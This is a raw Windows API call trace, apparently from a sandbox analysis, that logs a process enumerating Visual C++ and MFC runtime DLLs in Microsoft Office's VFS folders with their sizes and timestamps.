	[0078.668] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee7cccb2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee7cccb2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf466c4e5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27450, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="atl100.dll", cAlternateFileName="")) returned 1
	[0078.668] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf46b8986, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="atl110.dll", cAlternateFileName="")) returned 1
	[0078.668] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc6b9190, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4f670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1
	[0078.669] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d34074e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x192448, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20.DLL", cAlternateFileName="")) returned 1
	[0078.669] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8268, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FM20ENU.DLL", cAlternateFileName="")) returned 1
	[0078.669] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55b0d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140.dll", cAlternateFileName="")) returned 1
	[0078.669] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~1.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140cht.dll", cAlternateFileName="MFC140~2.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~3.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140enu.dll", cAlternateFileName="MFC140~4.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc5770c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140fra.dll", cAlternateFileName="MF6461~1.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfcc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140jpn.dll", cAlternateFileName="MFC411~1.DLL")) returned 1
	[0078.670] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x562670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95058, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x618c1b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1
	[0078.671] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb058, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd5c75d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd5c75d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd5c75d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8858, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9458, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib110.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54cc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib120.dll", cAlternateFileName="VCCORL~2.DLL")) returned 1
	[0078.672] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d660, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~3.DLL")) returned 1
	[0078.673] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1
	[0078.673] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 1
	[0078.673] FindNextFileW (in: hFindFile=0x5e05b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 0
	[0078.673] FindClose (in: hFindFile=0x5e05b0 | out: hFindFile=0x5e05b0) returned 1
	[0078.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x433c230 | out: hHeap=0x4f0000) returned 1
	[0078.674] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1
	[0078.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\*", lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5e08b0
	[0078.675] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0078.675] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39870, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1
	[0078.675] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42acd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140.dll", cAlternateFileName="")) returned 1
	[0078.675] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6af6fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~4.DLL")) returned 1
	[0078.675] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140cht.dll", cAlternateFileName="MF87C9~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdcc0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140enu.dll", cAlternateFileName="MF352D~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140fra.dll", cAlternateFileName="MFC140~2.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6df3cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6df3cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10060, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1
	[0078.676] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mfc140jpn.dll", cAlternateFileName="MFC140~3.DLL")) returned 1
